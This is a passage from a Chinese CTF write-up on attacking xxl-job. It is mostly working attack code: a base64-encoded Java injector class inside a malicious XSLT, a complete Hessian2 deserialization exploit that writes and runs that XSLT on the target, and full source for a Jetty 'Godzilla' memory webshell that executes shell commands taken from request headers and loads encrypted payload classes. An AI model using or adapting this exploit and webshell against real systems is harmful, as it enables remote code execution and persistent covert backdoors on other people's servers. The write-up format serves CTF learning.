QwA4AA7CgB/AOEBAA1nZXRGaWx0ZXJOYW1lAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAxsYXN0RG90SW5kZXgBAAFJAQAJY2xhc3NOYW1lAQASTGphdmEvbGFuZy9TdHJpbmc7AQABLggA6QEAC2xhc3RJbmRleE9mAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJDADrAOwKABIA7QEACXN1YnN0cmluZwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwwA7wDwCgASAPEBAAlmaWx0ZXJEZWYBAAlmaWx0ZXJNYXABAAJlMgEADGNvbnN0cnVjdG9ycwEAIFtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAMZmlsdGVyQ29uZmlnAQANZmlsdGVyQ29uZmlncwEAD0xqYXZhL3V0aWwvTWFwOwEADmNhdGFsaW5hTG9hZGVyAQAPZmlsdGVyQ2xhc3NOYW1lAQAKZmlsdGVyTmFtZQEAI1tMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I8Kj47BwD3AQARZ2V0Q2F0YWxpbmFMb2FkZXIMAQAAigoAAgEBDADjAOQKAAIBAwEADWZpbmRGaWx0ZXJEZWYIAQUBAF0oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAFsBBwoAAgEIAQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJEZWYIAQoBAAdmb3JOYW1lDAEMALoKAH8BDQEAL29yZy5hcGFjaGUudG9tY2F0LnV0aWwuZGVzY3JpcHRvci53ZWIuRmlsdGVyTWFwCAEPAQAkb3JnLmFwYWNoZS5jYXRhbGluYS5kZXBsb3kuRmlsdGVyRGVmCAERAQAkb3JnLmFwYWNoZS5jYXRhbGluYS5kZXBsb3kuRmlsdGVyTWFwCAETAQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwwBDAEVCgB/ARYBAA1zZXRGaWx0ZXJOYW1lCAEYAQAOc2V0RmlsdGVyQ2xhc3MIARoBAAxhZGRGaWx0ZXJEZWYIARwBAA1zZXREaXNwYXRjaGVyCAEeAQAHUkVRVUVTVAgBIAEADWFkZFVSTFBhdHRlcm4IASIMAAUABgoAAgEkAQAwb3JnLmFwYWNoZS5jYXRhbGluYS5jb3JlLkFwcGxpY2F0aW9uRmlsdGVyQ29uZmlnCAEmAQAXZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcnMBACIoKVtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7DAEoASkKAH8BKgEADXNldFVSTFBhdHRlcm4IASwBABJhZGRGaWx0ZXJNYXBCZWZvcmUIAS4BAAxhZGRGaWx0ZXJNYXAIATABAB1qYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcgcBMgoBMwDWAQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DADgATUKATMBNggA+QEADWphdmEvdXRpbC9NYXAHATkBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwBOwE8CwE6AT0BAA9wcmludFN0YWNrVHJhY2UMAT8AGQoAGwFAAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24HAUIBACBqYXZhL2xhbmcvSW5zdGFudGlhdGlvbkV4Y2VwdGlvbgcBRAEAAWkBAAxkZWNvZGVyQ2xhc3MBAAdkZWNvZGVyAQAHaWdub3JlZAEACWJhc2U2NFN0cgEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcggBTAEADGRlY29kZUJ1ZmZlcggBTgEACWdldE1ldGhvZAwBUADPCgB/AVEBABBqYXZhLnV0aWwuQmFzZTY0CAFTAQAKZ2V0RGVjb2RlcggBVQEABmRlY29kZQgBVwEADmNvbXByZXNzZWREYXRhAQADb3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAmluAQAeTGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW07AQAGdW5nemlwAQAfTGphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtOwEABmJ1ZmZlcgEAAW4BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQcBYgEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0HAWQBAB1qYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbQcBZgoBYwAsAQAFKFtCKVYMABUBaQoBZQFqAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAVAWwKAWcBbQEABHJlYWQBAAUoW0IpSQwBbwFwCgFnAXEBAAV3cml0ZQEAByhbQklJKVYMAXMBdAoBYwF1AQALdG9CeXRlQXJyYXkBAAQoKVtCDAF3AXgKAWMBeQEAA29iagEACWZpZWxkTmFtZQEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABGdldEYBAD8oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAX8BgAoAAgGBAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAYMKAYQA1goBhAB4AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uBwGHAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DAGKAYsKAH8BjAEADWdldFN1cGVyY2xhc3MMAY4AewoAfwGPCgGIABcBAAx0YXJnZXRPYmplY3QBAAptZXRob2ROYW1lAQAHbWV0aG9kcwEAG1tMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAFcGFyYW0BABNbTGphdmEvbGFuZy9PYmplY3Q7AQAGbWV0aG9kAQAJdGVtcENsYXNzBwGVAQASZ2V0RGVjbGFyZWRNZXRob2RzAQAdKClbTGphdmEvbGFuZy9yZ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')"/> <xsl:variable name="cl" select="th:getContextClassLoader(th:currentThread())"/> <xsl:variable name="rce" select="ru:defineClass('org.junit.m.EncryptionUtils',$bs,$cl)"/> <xsl:value-of select="$rce"/> </xsl:template> </xsl:stylesheet>
|
这里defineClass的类名记得写成注入器的类名,一开始忘改了卡这里好久服了😭
最后写一个一把梭的exp
package org.clown.exp;
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.caucho.hessian.io.SerializerFactory; import sun.security.pkcs.PKCS9Attribute; import sun.security.pkcs.PKCS9Attributes; import sun.swing.SwingLazyValue;
import javax.swing.*; import java.io.*; import java.lang.reflect.Field; import java.net.HttpURLConnection; import java.net.URL; import java.nio.file.Files; import java.nio.file.Paths;
public class DasCTFEasyJob { public static byte[] Hessian2_Serial(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(baos); SerializerFactory serializerFactory = new SerializerFactory(); serializerFactory.setAllowNonSerializable(true); hessian2Output.setSerializerFactory(serializerFactory); hessian2Output.writeObject(o); hessian2Output.flushBuffer(); return baos.toByteArray(); }
public static Object Hessian2_Deserial(byte[] bytes) throws IOException { ByteArrayInputStream bais = new ByteArrayInputStream(bytes); Hessian2Input hessian2Input = new Hessian2Input(bais); Object o = hessian2Input.readObject(); return o; } public static void setField(Object o, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field declaredField = o.getClass().getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(o, value); } public static void postExp(String url1,byte[] poc) throws Exception{ URL url = new URL(url1); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("POST"); connection.setRequestProperty("Content-Type", "application/octet-stream"); connection.setDoOutput(true); OutputStream outputStream = connection.getOutputStream(); outputStream.write(poc); int responseCode = connection.getResponseCode(); System.out.println("Response Code: " + responseCode); connection.disconnect(); }
public static void uploadXslt(String url, String xsltFilePath) throws Exception { PKCS9Attributes pkcs9Attributes = new PKCS9Attributes(new PKCS9Attribute[]{}); UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/1.xslt", Files.readAllBytes(Paths.get("payload.xslt"))})); setField(pkcs9Attributes,"attributes",uiDefaults); byte[] data = Hessian2_Serial(pkcs9Attributes);
byte[] poc = new byte[data.length + 1]; System.arraycopy(new byte[]{67}, 0, poc, 0, 1); System.arraycopy(data, 0, poc, 1, data.length); postExp(url,poc); } public static void doAttack(String url) throws Exception { PKCS9Attributes pkcs9Attributes = new PKCS9Attributes(new PKCS9Attribute[]{}); UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "/tmp/1.xslt"}})); setField(pkcs9Attributes,"attributes",uiDefaults); byte[] data = Hessian2_Serial(pkcs9Attributes);
byte[] poc = new byte[data.length + 1]; System.arraycopy(new byte[]{67}, 0, poc, 0, 1); System.arraycopy(data, 0, poc, 1, data.length); postExp(url,poc); }
public static void main(String[] args) throws Exception { String url="http://127.0.0.1:8080/api"; uploadXslt(url, "payload.xslt"); doAttack(url); } }
|
然后冰蝎上线
executor未授权
属实是干无语了给我,打了半天发现题目是打的executor未授权,题目好像是只给了一个executor的端口,我本地搭的所以admin和executor端口都有,然后api未授权也是能正常打,直接打偏了
executor我们访问9999端口他的回显是这样的
这里也是用的hessian反序列化读取数据,这里我们可以去xxl-job的executor的源码看到jetty服务的启动源码
这里只设置了一个JettyServerHandler,所有请求都会由这个JettyServerHandler来处理,看一下源码
可以看到他这里也是进行Hessian反序列化处理,和我们前面admin看到的处理方式是一样的
那我们就需要去注入一个handler,也就是jetty的内存马,直接抄wp的了,一开始用内存马生成器生成了打不进去
package com.xxl.job.core;
import org.eclipse.jetty.server.*; import org.eclipse.jetty.server.handler.AbstractHandler; import org.eclipse.jetty.server.handler.HandlerCollection; import sun.misc.Unsafe;
import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.ServletException; import javax.servlet.ServletOutputStream; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.lang.ref.Reference; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.util.Scanner;
public class JettyGodzillaMemshell extends AbstractHandler { String xc = "3c6e0b8a9c15224a"; String pass = "username"; String md5 = md5(pass + xc); Class payload; public static String md5(String s) { String ret = null; try { java.security.MessageDigest m; m = java.security.MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); } catch (Exception e) { } return ret; } public JettyGodzillaMemshell() { System.out.println(1); }
public JettyGodzillaMemshell(int s) { System.out.println(2); }
static { try { HttpConnection valueField = getValueField(); HandlerCollection handler = (HandlerCollection) valueField.getHttpChannel().getServer().getHandler(); Field mutableWhenRunning = handler.getClass().getDeclaredField("_mutableWhenRunning"); mutableWhenRunning.setAccessible(true); mutableWhenRunning.set(handler,true);
Handler[] handlers = handler.getHandlers(); Handler[] newHandlers=new Handler[handlers.length+1]; newHandlers[0]=new JettyGodzillaMemshell(1); for (int i = 0; i < handlers.length; i++) { newHandlers[i + 1] = handlers[i]; } handler.setHandlers(newHandlers);
} catch (NoSuchFieldException e) { throw new RuntimeException(e); } catch (ClassNotFoundException e) { throw new RuntimeException(e); } catch (IllegalAccessException e) { throw new RuntimeException(e); } } private static sun.misc.Unsafe getUnsafe() throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException { Field unsafe = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); unsafe.setAccessible(true); sun.misc.Unsafe theunsafe = (sun.misc.Unsafe) unsafe.get(null); return theunsafe; } private static HttpConnection getValueField() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException { Unsafe unsafe = getUnsafe(); ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); Field threadsfiled = threadGroup.getClass().getDeclaredField("threads"); Thread[] threads = (Thread[]) unsafe.getObject(threadGroup, unsafe.objectFieldOffset(threadsfiled)); for(int i=0;i<threads.length;i++) { try { Field threadLocalsF = threads[i].getClass().getDeclaredField("threadLocals"); Object threadlocal = unsafe.getObject(threads[i], unsafe.objectFieldOffset(threadLocalsF)); Reference[] table = (Reference[]) unsafe.getObject(threadlocal, unsafe.objectFieldOffset(threadlocal.getClass().getDeclaredField("table"))); for(int j=0;j<table.length;j++){ try { Object value =unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value"))); if(value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")){ return (HttpConnection)value; } } catch (Exception e){
} }
} catch (Exception e) {
} } return null; } public static String base64Encode(byte[] bs) throws Exception { Class base64; String value = null; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } public static byte[] base64Decode(String bs) throws Exception { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } public byte[] x(byte[] s, boolean m) { try { Cipher c = Cipher.getInstance("AES"); c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES")); return c.doFinal(s); } catch (Exception e) { return null; } }
@Override public void handle(String s, Request base, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { try { if (request.getHeader("x-fuck-data").equalsIgnoreCase("cmd")) { String cmd = request.getHeader("cmd"); if (cmd != null && !cmd.isEmpty()) { String[] cmds = null; if (System.getProperty("os.name").toLowerCase().contains("win")) { cmds = new String[]{"cmd", "/c", cmd}; } else { cmds = new String[]{"/bin/bash", "-c", cmd}; } base.setHandled(true); String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\ASADSADASDSADAS").next(); ServletOutputStream outputStream = response.getOutputStream(); outputStream.write(result.getBytes()); outputStream.flush(); } } else if (request.getHeader("x-fuck-data").equalsIgnoreCase("godzilla")) { byte[] data = base64Decode(request.getParameter(pass)); data = x(data, false); if (payload == null) { URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defMethod.setAccessible(true); payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length); } else { java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = payload.newInstance(); f.equals(arrOut); f.equals(data); f.equals(request); base.setHandled(true); ServletOutputStream outputStream = response.getOutputStream(); outputStream.write(md5.substring(0, 16).getBytes()); f.toString(); outputStream.write(base64Encode(x(arrOut.toByteArray(), true)).getBytes()); outputStream.write(md5.substring(16).getBytes()); outputStream.flush(); return ; } } } catch (Exception e) { } } }
|
然后编译一下转成base64放到xslt文件里面去,最终的恶意xslt如下
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:b64="http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object" xmlns:th="http://xml.apache.org/xalan/java/java.lang.Thread" xmlns:ru="http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils" > <xsl:template match="/"> <xsl:variable name="bs" 